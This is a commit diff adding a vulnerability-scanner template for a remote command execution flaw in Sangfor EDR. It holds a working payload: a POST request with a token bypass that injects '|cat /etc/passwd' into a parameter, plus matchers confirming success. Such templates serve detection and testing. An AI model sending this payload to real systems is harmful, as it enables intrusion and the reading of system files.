Create sangfor-edr-rce.yaml

vulnerabilities/other/sangfor-edr-rce.yaml

@@ -0,0 +1,26 @@
+id: sangfor-edr-rce
+
+info:
+  name: Sangfor EDR 3.2.17R1/3.2.21 RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://www.cnblogs.com/0day-li/p/13650452.html
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      {"params":"w=123\"'1234123'\"|cat /etc/passwd"}
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+      - type: status
+        status:
+          - 200